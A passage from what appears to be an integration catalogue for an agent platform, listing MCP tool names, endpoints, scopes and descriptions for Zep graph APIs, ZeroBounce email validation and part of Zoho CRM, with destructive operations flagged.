POST /api/v1/zep/graph/document-summary/graph/{graph_id}. Scopes: api. zep_post_graph_edge_graph_by_graph_id (write) — Returns all edges for a graph. via POST /api/v2/graph/edge/graph/{graph_id} POST /api/v1/zep/graph/edge/graph/{graph_id}. Scopes: api. zep_post_graph_edge_user_by_user_id (write) — Returns all edges for a user. via POST /api/v2/graph/edge/user/{user_id} POST /api/v1/zep/graph/edge/user/{user_id}. Scopes: api. zep_post_graph_episodes_graph_by_graph_id (write) — Returns a paginated, filterable list of episodes for a graph. via POST /api/v2/graph/episodes/graph/{graph_id} POST /api/v1/zep/graph/episodes/graph/{graph_id}. Scopes: api. zep_post_graph_episodes_user_by_user_id (write) — Returns a paginated, filterable list of episodes for a user's graph. via POST /api/v2/graph/episodes/user/{user_id} POST /api/v1/zep/graph/episodes/user/{user_id}. Scopes: api. zep_post_graph_node_by_node_uuid_neighbors (write) — Enumerates the distinct entity nodes directly connected to a node, together with the edges connecting each to it. via POST /api/v2/graph/node/{node_uuid}/neighbors POST /api/v1/zep/graph/node/{node_uuid}/neighbors. Scopes: api. zep_post_graph_node_graph_by_graph_id (write) — Returns all nodes for a graph. via POST /api/v2/graph/node/graph/{graph_id} POST /api/v1/zep/graph/node/graph/{graph_id}. Scopes: api. zep_post_graph_node_user_by_user_id (write) — Returns all nodes for a user. via POST /api/v2/graph/node/user/{user_id} POST /api/v1/zep/graph/node/user/{user_id}. Scopes: api. zep_post_graph_nodes (write) — Add entity nodes to a user or graph directly, without episode ingestion. Up to 100 nodes per request. via POST /api/v2/graph/nodes POST /api/v1/zep/graph/nodes. Scopes: api. zep_post_graph_observation_graph_by_graph_id (write) — Returns read-only observation nodes for a graph. via POST /api/v2/graph/observation/graph/{graph_id} POST /api/v1/zep/graph/observation/graph/{graph_id}. Scopes: api. zep_post_graph_observation_user_by_user_id (write) — Returns read-only observation nodes for a user's graph. via POST /api/v2/graph/observation/user/{user_id} POST /api/v1/zep/graph/observation/user/{user_id}. Scopes: api. zep_post_graph_patterns (write) — Deprecated. Pattern detection is not part of Public API v4. Detects structural patterns in a knowledge graph including relationship frequencies, multi-hop paths, co-occurrences, hubs, and clusters. via POST /api/v2/graph/patterns POST /api/v1/zep/graph/patterns. Scopes: api. zep_post_graph_search (write) — Perform a graph search query. via POST /api/v2/graph/search POST /api/v1/zep/graph/search. Scopes: api. zep_post_graph_subgraph (write) — Returns the bounded neighborhood of a set of seed nodes as a single {nodes, edges} payload: breadth-first expansion up to a caller-specified depth, subject to explicit budgets, with explicit truncation reporting. via POST /api/v2/graph/subgraph POST /api/v1/zep/graph/subgraph. Scopes: api. zep_post_graph_thread_summary_graph_by_graph_id (write) — Returns incremental thread summaries associated with the graph. via POST /api/v2/graph/thread-summary/graph/{graph_id} POST /api/v1/zep/graph/thread-summary/graph/{graph_id}. Scopes: api. zep_post_graph_thread_summary_user_by_user_id (write) — Returns incremental thread summaries generated from messages in each thread associated with the user's graph. via POST /api/v2/graph/thread-summary/user/{user_id} POST /api/v1/zep/graph/thread-summary/user/{user_id}. Scopes: api. zep_post_threads (write) — Start a new thread. via POST /api/v2/threads POST /api/v1/zep/threads. Scopes: api. zep_post_threads_by_threadid_messages (write) — Add messages to a thread. via POST /api/v2/threads/{threadId}/messages POST /api/v1/zep/threads/{threadId}/messages. Scopes: api. zep_post_threads_by_threadid_messages_batch (write) — Deprecated. Use the [Batch API](/adding-batch-data) (`client.batch.*` with `type: "thread_message"`) instead. Adds messages to a thread in batch mode, processing messages concurrently. via POST /api/v2/threads/{threadId}/messages-batch POST /api/v1/zep/threads/{threadId}/messages-batch. Scopes: api. zep_post_user_groups (write) — Create a managed UserGroup. via POST /api/v2/user-groups POST /api/v1/zep/user-groups. Scopes: api. zep_post_user_groups_by_groupuuid_members (write) — Add members to a managed UserGroup. via POST /api/v2/user-groups/{groupUUID}/members POST /api/v1/zep/user-groups/{groupUUID}/members. Scopes: api. zep_post_user_groups_by_groupuuid_members_bulk_remove (write) — Remove members from a managed UserGroup. via POST /api/v2/user-groups/{groupUUID}/members/bulk-remove POST /api/v1/zep/user-groups/{groupUUID}/members/bulk-remove. Scopes: api. zep_post_user_summary_instructions (write) — Adds new summary instructions for users graphs without removing existing ones. If user_ids is empty, adds to project-wide default instructions. via POST /api/v2/user-summary-instructions POST /api/v1/zep/user-summary-instructions. Scopes: api. zep_post_users (write) — Adds a user. via POST /api/v2/users POST /api/v1/zep/users. Scopes: api. zep_put_context_templates_by_template_id (write) — Updates an existing context template by template_id. via PUT /api/v2/context-templates/{template_id} PUT /api/v1/zep/context-templates/{template_id}. Scopes: api. zep_put_graph_set_ontology (write) — Sets custom entity and edge types for your graph. This wrapper method provides a clean interface for defining your graph schema with custom entity and edge types. See the [full documentation](/customizing-graph-structure#setting-entity-and-edge-types) for details. via PUT /api/v2/entity-types PUT /api/v1/zep/graph/set-ontology. Scopes: api. zep_put_projects_observation_steering (write) — Replaces project, user, or graph steering. An empty configuration clears the project default or removes the user/graph override. Changes affect later materializer runs only. This API is experimental and may change in future releases. via PUT /api/v2/projects/observation-steering PUT /api/v1/zep/projects/observation-steering. Scopes: api. ================================================================================ ## ZeroBounce URL: https://www.agenticfabriq.com/integrations/zerobounce Section: Integrated Tools ZeroBounce — 21 MCP tools Provider key: zerobounce. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. zerobounce_get_domain_search_deletefile (write, destructive) — Delete a bulk domain search file and its results from ZeroBounce. DESTRUCTIVE AND IRREVERSIBLE: the results are gone and cannot be downloaded afterwards. ZeroBounce serves this over GET rather than DELETE; it destroys data regardless of the verb. GET /api/v1/zerobounce/domain-search/deletefile. Scopes: api. zerobounce_get_domain_search_filestatus (read) — Report the progress of a bulk domain search job -- the batch form of discovering the email format a domain uses. Its own job family, with its own file ids. GET /api/v1/zerobounce/domain-search/filestatus. Scopes: api. zerobounce_get_email_finder_deletefile (write, destructive) — Delete a bulk email finder file and its results from ZeroBounce. DESTRUCTIVE AND IRREVERSIBLE: the found addresses are gone and cannot be downloaded afterwards. ZeroBounce serves this over GET rather than DELETE; it destroys data regardless of the verb. GET /api/v1/zerobounce/email-finder/deletefile. Scopes: api. zerobounce_get_email_finder_filestatus (read) — Report the progress of a bulk email finder job -- the batch form of finding addresses from names and domains. A finder job is its own job family; its file ids are not interchangeable with validation or scoring ids. GET /api/v1/zerobounce/email-finder/filestatus. Scopes: api. zerobounce_get_lists3files (read) — List the files available in the account's Amazon S3 input bucket, which is the source the S3 validation and scoring jobs draw from. START HERE for the S3 workflow: this is how a caller learns the exact file_name the job tools need. Both arguments are optional -- with neither, ZeroBounce lists the bucket configured in the account's UI settings. GET /api/v1/zerobounce/listS3files. Scopes: api. zerobounce_get_v2_activity (read) — Report whether an email address has shown recent engagement activity across ZeroBounce's network, and how recently. Answers the 'is this subscriber still alive' question that deliverability alone does not. Spends credits. GET /api/v1/zerobounce/v2/activity. Scopes: api. zerobounce_get_v2_deletefile (write, destructive) — Delete a bulk email validation file and its results from ZeroBounce. DESTRUCTIVE AND IRREVERSIBLE: the results are gone and cannot be downloaded afterwards, so retrieve anything needed from the job before calling this. ZeroBounce serves this over GET rather than DELETE; it destroys data regardless of the verb. GET /api/v1/zerobounce/v2/deletefile. Scopes: api. zerobounce_get_v2_filestatus (read) — Report the progress of a bulk email validation job: whether it is queued, running or complete, how many rows have been processed, and the upload and completion timestamps. Poll this rather than assuming a job is done. Note that this integration cannot CREATE a validation job from an uploaded file -- see the S3 tools, or start the job in the ZeroBounce app. GET /api/v1/zerobounce/v2/filestatus. Scopes: api. zerobounce_get_v2_getapiusage (read) — Report how many API calls the account made over a date range, broken down by validation result (valid, invalid, catch-all, unknown, spamtrap, abuse, do_not_mail) and by the reason codes within them. Both dates are optional; ZeroBounce applies its own window when they are omitted. Costs no credits. GET /api/v1/zerobounce/v2/getapiusage. Scopes: api. zerobounce_get_v2_getcredits (read) — Return the number of validation credits remaining on the connected ZeroBounce account. Takes no arguments. ZeroBounce answers -1 when the credit balance cannot be determined for the key, which is not the same as zero credits. Costs no credits, so this is also the cheapest way to check that a connection still works. GET /api/v1/zerobounce/v2/getcredits. Scopes: api. zerobounce_get_v2_guessformat (read) — Find a person's email address at a domain, or -- with the domain alone -- the format that domain uses for its addresses (first.last, flast, and so on). Supply as much of the name as is known: with no name ZeroBounce answers the format only, and with a name it also returns the specific address it inferred and the confidence it has in it. Spends credits. GET /api/v1/zerobounce/v2/guessformat. Scopes: api. zerobounce_get_v2_scoring (read) — Return ZeroBounce's A.I. quality score for one email address: a 0-10 rating of how likely the address is to be active and engaged, which is a different question from whether it is deliverable. Use alongside validation rather than instead of it -- a valid address can score low. Spends credits. GET /api/v1/zerobounce/v2/scoring. Scopes: api. zerobounce_get_v2_scoring_deletefile (write, destructive) — Delete an A.I. scoring file and its results from ZeroBounce. DESTRUCTIVE AND IRREVERSIBLE: the scores are gone and cannot be downloaded afterwards. ZeroBounce serves this over GET rather than DELETE; it destroys data regardless of the verb. GET /api/v1/zerobounce/v2/scoring/deletefile. Scopes: api. zerobounce_get_v2_scoring_filestatus (read) — Report the progress of an A.I. scoring job: whether it is queued, running or complete, and how much of the file has been processed. A scoring job is a separate job family from validation and its file ids are not interchangeable with them. GET /api/v1/zerobounce/v2/scoring/filestatus. Scopes: api. zerobounce_get_v2_validate (read) — Validate one email address in real time. Returns the address's status (valid, invalid, catch-all, unknown, spamtrap, abuse or do_not_mail) and a sub_status naming the specific reason, plus whatever ZeroBounce knows about the mailbox: free-mail and role-address flags, the account and domain parts, a suggested correction for an apparent typo, SMTP provider, MX record and, when the optional inputs ask for it, the sender's geolocation, the domain's WHOIS and the address's activity data. SPENDS ONE CREDIT per call (more with verify_plus), so a free account's monthly allowance is finite. Eight options beyond the address itself, all optional -- see each one. GET /api/v1/zerobounce/v2/validate. Scopes: api. zerobounce_post_exports3file (write) — Export a finished validation or scoring file to the account's Amazon S3 export bucket, where the customer's own tooling can read it. THIS IS HOW RESULTS LEAVE ZeroBounce through this integration: the direct result-download endpoints are withheld because they return the whole result file as the response body, which is unbounded. Omit export_bucket to use the bucket configured in the account's UI settings. POST /api/v1/zerobounce/exportS3file. Scopes: api. zerobounce_post_scores3file (write) — Start an A.I. scoring job over a file that is ALREADY in the account's Amazon S3 bucket. Returns the file_id to poll with the scoring filestatus tool -- a scoring id, not interchangeable with a validation one. Get the exact file_name from the S3 file listing first. Spends credits per address. POST /api/v1/zerobounce/scoreS3file. Scopes: api. zerobounce_post_v2_filters_add (write) — Add or modify a rule on the account's custom allow/block list, which overrides ZeroBounce's own verdict for the addresses it matches. An allow rule forces a match to validate as valid; a block rule forces it to invalid. Modifies an existing rule rather than duplicating it when the same target and value are already listed, so this is an upsert. Changes how every FUTURE validation on this account answers, not just the caller's own. POST /api/v1/zerobounce/v2/filters/add. Scopes: api. zerobounce_post_v2_filters_delete (write, destructive) — Remove a rule from the account's custom allow/block list. DESTRUCTIVE and account-wide: the rule is gone for every future validation on this account, and ZeroBounce offers no undo and no way to list what was removed. Deleting a rule silently changes how addresses that were being forced to valid or invalid are answered from then on. POST /api/v1/zerobounce/v2/filters/delete. Scopes: api. zerobounce_post_v2_validatebatch (write) — Validate many email addresses in one real-time call and get back the same per-address result the single validator returns, one entry per address, plus an errors array for the entries ZeroBounce could not process. This is the REAL-TIME batch endpoint: it answers in the same request rather than creating a job, so it needs no file and no polling. SPENDS ONE CREDIT PER ADDRESS, so a large batch can exhaust a free allowance in a single call. For lists larger than a real-time call can carry, use the S3 job tools instead -- this integration does not offer file upload. POST /api/v1/zerobounce/v2/validatebatch. Scopes: api. zerobounce_post_validates3file (write) — Start a bulk email validation job over a file that is ALREADY in the account's Amazon S3 bucket -- the file is named, not uploaded, which is why this tool exists while file upload does not. Returns the file_id to poll with the validation filestatus tool. Get the exact file_name from the S3 file listing first. SPENDS ONE CREDIT PER ADDRESS in the file, so a large list can exhaust an allowance in one job. Note remove_duplicates defaults to TRUE at ZeroBounce. POST /api/v1/zerobounce/validateS3file. Scopes: api. ================================================================================ ## Zoho CRM URL: https://www.agenticfabriq.com/integrations/zohocrm Section: Integrated Tools Zoho CRM — 444 MCP tools Provider key: zohocrm. Scopes: ZohoCRM.apis.READ, ZohoCRM.bulk.CREATE, ZohoCRM.bulk.READ, ZohoCRM.change_owner.CREATE, ZohoCRM.change_owner.READ, ZohoCRM.composite_requests.CUSTOM, ZohoCRM.coql.READ, ZohoCRM.features.READ, ZohoCRM.files.READ, ZohoCRM.mass_convert.leads.CREATE, ZohoCRM.mass_convert.leads.READ, ZohoCRM.mass_delete.DELETE, ZohoCRM.mass_delete.READ, ZohoCRM.mass_update.Leads.READ, ZohoCRM.mass_update.Leads.UPDATE, ZohoCRM.mass_update.READ, ZohoCRM.mass_update.UPDATE, ZohoCRM.modules.ALL, ZohoCRM.modules.CREATE, ZohoCRM.modules.DELETE, ZohoCRM.modules.READ, ZohoCRM.modules.UPDATE, ZohoCRM.notifications.ALL, ZohoCRM.notifications.CREATE, ZohoCRM.notifications.DELETE, ZohoCRM.notifications.READ, ZohoCRM.notifications.UPDATE, ZohoCRM.org.DELETE, ZohoCRM.org.READ, ZohoCRM.send_mail.all.CREATE, ZohoCRM.settings.ALL, ZohoCRM.settings.READ, ZohoCRM.share.accounts.CREATE, ZohoCRM.share.accounts.DELETE, ZohoCRM.share.accounts.READ, ZohoCRM.share.accounts.UPDATE, ZohoCRM.share.bundles.CREATE, ZohoCRM.share.bundles.DELETE, ZohoCRM.share.bundles.READ, ZohoCRM.share.bundles.UPDATE, ZohoCRM.share.calls.CREATE, ZohoCRM.share.calls.DELETE, ZohoCRM.share.calls.READ, ZohoCRM.share.calls.UPDATE, ZohoCRM.share.campaigns.CREATE, ZohoCRM.share.campaigns.DELETE, ZohoCRM.share.campaigns.READ, ZohoCRM.share.campaigns.UPDATE, ZohoCRM.share.cases.CREATE, ZohoCRM.share.cases.DELETE, ZohoCRM.share.cases.READ, ZohoCRM.share.cases.UPDATE, ZohoCRM.share.contacts.CREATE, ZohoCRM.share.contacts.DELETE, ZohoCRM.share.contacts.READ, ZohoCRM.share.contacts.UPDATE, ZohoCRM.share.custom.CREATE, ZohoCRM.share.custom.DELETE, ZohoCRM.share.custom.READ, ZohoCRM.share.custom.UPDATE, ZohoCRM.share.deals.CREATE, ZohoCRM.share.deals.DELETE, ZohoCRM.share.deals.READ, ZohoCRM.share.deals.UPDATE, ZohoCRM.share.events.CREATE, ZohoCRM.share.events.DELETE, ZohoCRM.share.events.READ, ZohoCRM.share.events.UPDATE, ZohoCRM.share.invoices.CREATE, ZohoCRM.share.invoices.DELETE, ZohoCRM.share.invoices.READ, ZohoCRM.share.invoices.UPDATE, ZohoCRM.share.leads.CREATE, ZohoCRM.share.leads.DELETE, ZohoCRM.share.leads.READ, ZohoCRM.share.leads.UPDATE, ZohoCRM.share.pricebooks.CREATE, ZohoCRM.share.pricebooks.DELETE, ZohoCRM.share.pricebooks.READ, ZohoCRM.share.pricebooks.UPDATE, ZohoCRM.share.products.CREATE, ZohoCRM.share.products.DELETE, ZohoCRM.share.products.READ, ZohoCRM.share.products.UPDATE, ZohoCRM.share.purchaseorders.CREATE, ZohoCRM.share.purchaseorders.DELETE, ZohoCRM.share.purchaseorders.READ, ZohoCRM.share.purchaseorders.UPDATE, ZohoCRM.share.quotes.CREATE, ZohoCRM.share.quotes.DELETE, ZohoCRM.share.quotes.READ, ZohoCRM.share.quotes.UPDATE, ZohoCRM.share.salesorders.CREATE, ZohoCRM.share.salesorders.DELETE, ZohoCRM.share.salesorders.READ, ZohoCRM.share.salesorders.UPDATE, ZohoCRM.share.solutions.CREATE, ZohoCRM.share.solutions.DELETE, ZohoCRM.share.solutions.READ, ZohoCRM.share.solutions.UPDATE, ZohoCRM.share.tasks.CREATE, ZohoCRM.share.tasks.DELETE, ZohoCRM.share.tasks.READ, ZohoCRM.share.tasks.UPDATE, ZohoCRM.share.vendors.CREATE, ZohoCRM.share.vendors.DELETE, ZohoCRM.share.vendors.READ, ZohoCRM.share.vendors.UPDATE, ZohoCRM.templates.email.READ, ZohoCRM.templates.inventory.READ, ZohoCRM.users.ALL, ZohoCRM.users.CREATE, ZohoCRM.users.DELETE, ZohoCRM.users.READ, ZohoCRM.users.UPDATE, ZohoCRM.zia.enrichment.CREATE, ZohoCRM.zia.enrichment.DELETE, ZohoCRM.zia.enrichment.READ, ZohoCRM.zia.enrichment.UPDATE, ZohoSign.documents.ALL, ZohoWriter.documentEditor.ALL, ZohoWriter.merge.ALL. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. zohocrm_delete_actions_watch (write, destructive) — Disable notification channels. To disable one or more notification channels in your Zoho CRM organization. DELETE /api/v1/zohocrm/actions/watch. Scopes: ZohoCRM.notifications.ALL, ZohoCRM.notifications.DELETE. zohocrm_delete_appointments_s (write, destructive) — Delete one or more appointment records. To delete one or more appointment records in your Zoho CRM organization. Note that this API will not delete any deals created on the completion of the deleted appointments. DELETE /api/v1/zohocrm/Appointments__s. Scopes: ZohoCRM.modules.DELETE. zohocrm_delete_appointments_s_by_appointmentid (write, destructive) — Delete an Appointment by ID. To delete a single appointment record from your Zoho CRM organization by its unique ID. Note that this operation will not delete any deals created upon completion of the appointment. DELETE /api/v1/zohocrm/Appointments__s/{appointmentId}. Scopes: ZohoCRM.modules.DELETE. zohocrm_delete_by_module (write, destructive) — Delete records from a specified module. To permanently delete more records from the specified module in your Zoho CRM organization, use the [Get Records API](record.yaml#$.paths./module.get) to retrieve the record IDs. A maximum of 100 records can be deleted per API call. By default, all workflows related to this API are executed. All subforms related to... DELETE /api/v1/zohocrm/{module}. Scopes: ZohoCRM.modules.DELETE. zohocrm_delete_by_module_by_dealid_contact_roles (write, destructive) — Deal Contact Roles. Remove one or more contact role associations from a deal using their relation IDs. DELETE /api/v1/zohocrm/{module}/{dealId}/Contact_Roles. Scopes: ZohoCRM.modules.DELETE. zohocrm_delete_by_module_by_dealid_contact_roles_by_contactid (write, destructive) — Deal Contact Roles. Remove a specific contact-deal relation using the contact identifier in the path. DELETE /api/v1/zohocrm/{module}/{dealId}/Contact_Roles/{contactId}. Scopes: ZohoCRM.modules.DELETE. zohocrm_delete_by_module_by_record_email_drafts_by_draft (write, destructive) — Delete an Email Draft. Deletes the specified email draft for the given record. DELETE /api/v1/zohocrm/{module}/{record}/__email_drafts/{draft}. Scopes: ZohoCRM.modules.DELETE. zohocrm_delete_by_module_by_record_photo (write, destructive) — Delete a record photo. To delete the photo associated with a specific record in your Zoho CRM organization. DELETE /api/v1/zohocrm/{module}/{record}/photo. Scopes: ZohoCRM.modules.DELETE. zohocrm_delete_by_module_by_recordid (write, destructive) — Delete a specific record by ID. To permanently delete a specific record by its unique ID from the specified module in your Zoho CRM organization. Use the [Get Records API](record.yaml#$.paths./module.get) to retrieve the record IDs. DELETE /api/v1/zohocrm/{module}/{recordId}. Scopes: ZohoCRM.modules.DELETE. zohocrm_delete_by_moduleapiname_by_recordid_actions_share (write, destructive) — Revoke sharing on a record. To revoke all sharing on a specific record in a module of your Zoho CRM organization. Use this operation to remove access that was previously granted to users, roles, or groups through record-level sharing. DELETE /api/v1/zohocrm/{moduleApiName}/{recordId}/actions/share. Scopes: ZohoCRM.share.accounts.DELETE, ZohoCRM.share.bundles.DELETE, ZohoCRM.share.calls.DELETE, ZohoCRM.share.campaigns.DELETE, ZohoCRM.share.cases.DELETE, ZohoCRM.share.contacts.DELETE, ZohoCRM.share.custom.DELETE, ZohoCRM.share.deals.DELETE, ZohoCRM.share.events.DELETE, ZohoCRM.share.invoices.DELETE, ZohoCRM.share.leads.DELETE, ZohoCRM.share.pricebooks.DELETE, ZohoCRM.share.products.DELETE, ZohoCRM.share.purchaseorders.DELETE, ZohoCRM.share.quotes.DELETE, ZohoCRM.share.salesorders.DELETE, ZohoCRM.share.solutions.DELETE, ZohoCRM.share.tasks.DELETE, ZohoCRM.share.vendors.DELETE. zohocrm_delete_by_moduleapiname_by_recordid_attachments_by_id (write, destructive) — Delete Link Attachment. Deletes a link attachment associated with a specific record in a module. Note that only link attachments can be deleted using this endpoint; file attachments cannot be deleted through this API. DELETE /api/v1/zohocrm/{moduleApiName}/{recordId}/Attachments/{id}. Scopes: ZohoCRM.modules.ALL, ZohoCRM.modules.DELETE. zohocrm_delete_by_modulename_by_recordid_locking_information_s_by_lockid (write, destructive) — Remove lock from a locked record. To remove the lock from a locked record in the specified module of your Zoho CRM account. DELETE /api/v1/zohocrm/{moduleName}/{recordId}/Locking_Information__s/{lockId}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_by_parentrecordmodule_by_parentrecord_by_relatedlist (write, destructive) — Delink related records. To delink multiple records from a parent record's related list in your Zoho CRM organization. This operation removes only the relationship links - the related records themselves remain intact in their respective modules. DELETE /api/v1/zohocrm/{parentRecordModule}/{parentRecord}/{relatedList}. Scopes: ZohoCRM.modules.DELETE. zohocrm_delete_by_parentrecordmodule_by_parentrecord_by_relatedlist_by_record (write, destructive) — Delink a related record. To delink a specific related record from a parent record in your Zoho CRM organization. This operation removes only the relationship link - the related record itself remains intact in its module. DELETE /api/v1/zohocrm/{parentRecordModule}/{parentRecord}/{relatedList}/{record}. Scopes: ZohoCRM.modules.DELETE. zohocrm_delete_by_parentrecordmodule_by_parentrecordid_notes (write, destructive) — Related Notes. Deletes one or more notes associated with a specific parent record using comma-separated note IDs in the query parameter. DELETE /api/v1/zohocrm/{parentRecordModule}/{parentRecordId}/Notes. Scopes: ZohoCRM.modules.DELETE, ZohoCRM.modules.READ. zohocrm_delete_by_parentrecordmodule_by_parentrecordid_notes_by_noteid (write, destructive) — Related Note. Deletes a specific note record associated with a parent record using the note ID in the path. DELETE /api/v1/zohocrm/{parentRecordModule}/{parentRecordId}/Notes/{noteId}. Scopes: ZohoCRM.modules.DELETE, ZohoCRM.modules.READ. zohocrm_delete_contacts_by_contactid_emails_actions_link_record (write, destructive) — Unlink Emails from Deals. To unlink deals from one or more of a contact's emails. An email will only be linked to a single deal at a time. When you call this API, the specified email(s) will be unlinked from them. The user's profile requires 'View' permission for Deals and Contacts modules to use this API. DELETE /api/v1/zohocrm/Contacts/{contactId}/Emails/actions/link_record. Scopes: ZohoCRM.modules.CREATE. zohocrm_delete_contacts_by_contactid_emails_by_messageid_actions_link_record (write, destructive) — Unlink Deal Email. Unlinks an email from a specified record in CRM. DELETE /api/v1/zohocrm/Contacts/{contactId}/Emails/{messageId}/actions/link_record. Scopes: ZohoCRM.modules.CREATE. zohocrm_delete_contacts_roles (write, destructive) — Delete Contact Roles. Deletes one or more contact roles by their unique identifiers in your Zoho CRM organization. DELETE /api/v1/zohocrm/Contacts/roles. Scopes: ZohoCRM.modules.DELETE. zohocrm_delete_contacts_roles_by_role (write, destructive) — Delete a Contact Role. Deletes a specific contact role by its unique identifier in your Zoho CRM organization. DELETE /api/v1/zohocrm/Contacts/roles/{role}. Scopes: ZohoCRM.modules.DELETE. zohocrm_delete_notes (write, destructive) — Notes. Permanently deletes one or more notes using comma-separated note IDs. DELETE /api/v1/zohocrm/Notes. Scopes: ZohoCRM.modules.DELETE. zohocrm_delete_notes_by_id (write, destructive) — Delete a Specific Note. Permanently deletes a specific note by its ID. DELETE /api/v1/zohocrm/Notes/{id}. Scopes: ZohoCRM.modules.DELETE. zohocrm_delete_org_photo (write, destructive) — Delete the organization photo. To delete the organization photo from your Zoho CRM organization. DELETE /api/v1/zohocrm/org/photo. Scopes: ZohoCRM.org.DELETE. zohocrm_delete_services_s (write, destructive) — Delete one or more service records. To delete one or more service records from your Zoho CRM organization. All appointments associated with the deleted services are also deleted; however, deals created upon completion of those appointments are not deleted. DELETE /api/v1/zohocrm/Services__s. Scopes: ZohoCRM.modules.DELETE. zohocrm_delete_services_s_by_id (write, destructive) — Delete a service record by ID. To delete a service record from your Zoho CRM organization by its unique ID. When a service record is removed, all appointments associated with that service are also removed; however, deals created upon completion of an appointment under the service are not affected. DELETE /api/v1/zohocrm/Services__s/{id}. Scopes: ZohoCRM.modules.DELETE. zohocrm_delete_settings_automation_assignment_rules_by_id (write, destructive) — Delete an Assignment Rule. To delete a single Assignment Rule from your Zoho CRM organization. DELETE /api/v1/zohocrm/settings/automation/assignment_rules/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_automation_cadences_by_id (write, destructive) — Delete a Cadence. To delete a Cadence and its associated records from your Zoho CRM organization. Deleting a Cadence removes all related action records, including workflow tasks, email notifications, and WhatsApp notifications, as well as process states and flow transitions. Pending enrollment schedules are removed, but record-level... DELETE /api/v1/zohocrm/settings/automation/cadences/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_automation_field_updates (write, destructive) — To delete multiple field update actions. Deletes multiple Field Update actions specified by their IDs. Specify the action IDs as a comma-separated list using the ids query parameter. You can delete a maximum of 10 actions in a single request. Field Update actions associated with active automation rules or marked as read-only cannot be deleted. Use the Get... DELETE /api/v1/zohocrm/settings/automation/field_updates. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_automation_field_updates_by_id (write, destructive) — Delete Field Update. Deletes a single field update action identified by the path ID. Use the [Get Field Updates API](field_updates.yaml#$.paths./settings/automation/field_updates.get) to retrieve the field update ID. Actions associated with active automation rules return a NOT_ALLOWED error, and read-only actions cannot be deleted. DELETE /api/v1/zohocrm/settings/automation/field_updates/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_automation_scoring_rules (write, destructive) — Scoring Rules. Permanently deletes multiple scoring rules DELETE /api/v1/zohocrm/settings/automation/scoring_rules. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_automation_scoring_rules_by_ruleid (write, destructive) — Delete a scoring rules by ID. Permanently deletes a single scoring rule identified by ruleId DELETE /api/v1/zohocrm/settings/automation/scoring_rules/{ruleId}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_automation_scoring_rules_by_ruleid_actions_activate (write, destructive) — Deactivate a scoring rule. Deactivates an active scoring rule identified by ruleId, suspending its scoring evaluation without deleting it. DELETE /api/v1/zohocrm/settings/automation/scoring_rules/{ruleId}/actions/activate. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_automation_tasks (write, destructive) — Delete automation task definitions by IDs (bulk). PURPOSE: Deletes one or more automation task definitions by their IDs. MANDATORY: ids query parameter (comma-separated task IDs, max 10). KEY CONSTRAINTS: Tasks associated with active workflow rules, approval processes, or blueprints cannot be deleted (returns NOT_ALLOWED error). Returns per-task success/error status.... DELETE /api/v1/zohocrm/settings/automation/tasks. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_automation_tasks_by_id (write, destructive) — Automation Task. PURPOSE: Deletes a single automation task definition by its ID. MANDATORY: id path parameter (string - automation task definition ID, not a Task record ID). KEY CONSTRAINTS: Tasks associated with active workflow rules, approval processes, or blueprints cannot be deleted (returns NOT_ALLOWED). Returns success/error... DELETE /api/v1/zohocrm/settings/automation/tasks/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_automation_webhooks (write, destructive) — Delete one or more webhooks. To delete one or more webhook actions configured in your Zoho CRM account. Up to 10 webhooks can be deleted in a single API call using the ids query parameter. Read-only webhooks created by Zoho extensions cannot be deleted. Webhooks associated with active Workflow Rules, Approval Processes, or Blueprints cannot be... DELETE /api/v1/zohocrm/settings/automation/webhooks. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_automation_webhooks_by_webhookid (write, destructive) — Delete a webhook by ID. To delete a specific webhook configured in your Zoho CRM organization using its unique ID. Read-only webhooks created by Marketplace extensions cannot be deleted. Webhooks associated with active Workflow Rules, Approval Processes, Blueprints, or Command Center also cannot be deleted. DELETE /api/v1/zohocrm/settings/automation/webhooks/{webhookId}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_automation_workflow_rules (write, destructive) — Delete One or More Workflow Rules. To delete one or more workflow rules from your Zoho CRM organization. You can delete up to ten workflow rules in a single API call; when some deletions succeed and others fail, the API responds with a 207 Multi-Status. DELETE /api/v1/zohocrm/settings/automation/workflow_rules. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_automation_workflow_rules_by_id (write, destructive) — Delete a workflow rule by ID. To delete a workflow rule from your Zoho CRM organization by its unique ID. Locked workflow rules cannot be deleted. DELETE /api/v1/zohocrm/settings/automation/workflow_rules/{id}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_business_hours_shift_hours_by_shift (write, destructive) — Delete a shift hour. Deletes the shift hour identified by the shift path parameter. Once deleted, the shift hour configuration and all of its user assignments are removed. DELETE /api/v1/zohocrm/settings/business_hours/shift_hours/{shift}. Scopes: ZohoCRM.settings.ALL. zohocrm_delete_settings_custom_views (write, destructive) — Delete Custom Views. To delete one or more Custom Views from a specified module in your Zoho CRM 